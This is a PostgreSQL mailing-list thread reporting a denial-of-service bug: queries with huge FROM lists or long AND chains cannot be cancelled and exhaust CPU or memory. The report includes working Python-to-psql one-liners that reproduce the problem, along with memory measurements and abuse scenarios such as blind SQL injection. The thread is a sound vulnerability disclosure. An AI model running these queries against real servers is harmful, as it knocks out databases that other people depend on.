Fwd: Non-cancellable queries
Hello!
There is an interesting issue in PostgreSQL handling "FROM" list that could
be used to trigger DoS.
The issue is here from ancient times, reproducible on the latest release as
well:
docker pull postgres:latest
docker run postgres:latest
python -c "n=200000;print('with x as (select 1) select 1 from x
x',end='');any(print(str(x),end=',x x') for x in range(n))" | psql -h
172.17.0.3 -Upostgres -A &
killall -9 psql
You can run as many queries as you want; the queries sitting server-side,
consuming CPU:
[image: image.png]
The only way to kill them is to restart the server or wait almost
indefinitely.
=======
There is also similar long query that actually works as QoD triggering oom
killer:
python -c "print('create table if not exists x(x int); SELECT FROM x',
end='');any(print(',x x',end=str(n)) for n in range(10000))" | psql
If the query references a `WITH x AS (...)` table, it fails as expected
with a stack too deep.
When the query references an existing table, it consumes an enormous amount
of memory (and time) before failing anyway.
I've added memory tracking, and roughly:
4000 => 3.6 gb
5000 => 7.9 gb
6000 => 13.2 gb
7000 => 19.2 gb
8000 => 26.4 gb
9000 => 42 gb
10000 => 60 gb
11000 => 80 gb
12000 => 102 gb
Attachments:
image.pngimage/png; name=image.pngDownload+1-0
Import Notes
Reply to msg id not found: CACNOLFFvMX521BZvPFyGwW=WOWk_1u-zqAm+j3BerYA6mx0jCA@mail.gmail.comReference msg id not found: CACNOLFFvMX521BZvPFyGwW=WOWk_1u-zqAm+j3BerYA6mx0jCA@mail.gmail.com
On 19/05/2026 22:44, Anton Fedorov wrote:
You can run as many queries as you want; the queries sitting server-side,
consuming CPU:
image.pngThe only way to kill them is to restart the server or wait almost indefinitely.
Yyou found the trick where the join list building routine consumes a lot of
resources.
Postgres code is aware of this situation and has a clear trade-off between
performance and signal checking. Even if we fix this specific case, there are
multiple cycles in the code that might be expanded by a tricky query. So, can
you provide more context to define the problem's importance and scope so we can
determine whether this subject is actually important and should be fixed?
--
regards, Andrei Lepikhov,
pgEdge
On Wed, 20 May 2026 at 12:55, Andrei Lepikhov <lepihov@gmail.com> wrote:
You can run as many queries as you want; the queries sitting server-side,
consuming CPU
Yyou found the trick where the join list building routine consumes a lot of
resources.
Postgres code is aware of this situation and has a clear trade-off between
performance and signal checking. Even if we fix this specific case, there
are
multiple cycles in the code that might be expanded by a tricky query. So,
can
you provide more context to define the problem's importance and scope so
we can
determine whether this subject is actually important and should be fixed?
This problem can surface in the following situations:
a) "growing analytics" -- imagine tables sharded by very thin key (f.e.,
separate daily tables), and one
would want to run query against large date range;
b) blind SQL injection with ultra restricted user permissions (query only)
became DoS instrument;
c) "shared hosting" of some sort -- when the single server has ability to
run queries from different users;
in this situation it would be just lack of isolation. not a problem for
the postgresql itself, it is more of a
problem for services who build service on top of postgres;
There is another similar case with one more exploitation path:
python -c "print('create table if not exists x(x
int);');n=2000000;print('select 1 from x where 1=1',end=' and x=1'*n)" |
psql -h 172.17.0.2 -Upostgres -A
the query is perfectly valid repetition of "x=1 and x=1 and ..." that also
leads to non-cancellable memory-eating query.
Can be a consequence of perfectly valid use-case:
- simple table with category as a value
- site has multiple-choice category selector, that get POSTed as a form
in some array sorts (cat[]=N&cat[]=N or just cat=N&cat=N etc)
- the ORM convert the array into query using " ".join("AND cat=%d" %
(cat,) for cat in form['cat'])
The query is safe, the values are safe, no arbitrary injection, and yet,
server DOS.
On Wed, 20 May 2026 at 22:11, Anton Fedorov <datacompboy@gmail.com> wrote:
On Wed, 20 May 2026 at 12:55, Andrei Lepikhov <lepihov@gmail.com> wrote:
Postgres code is aware of this situation and has a clear trade-off between
performance and signal checking. Even if we fix this specific case, there
are
multiple cycles in the code that might be expanded by a tricky query. So,
can
you provide more context to define the problem's importance and scope so
we can
determine whether this subject is actually important and should be fixed?
as extra bit here: MySQL fixed that as CVE-2026-21968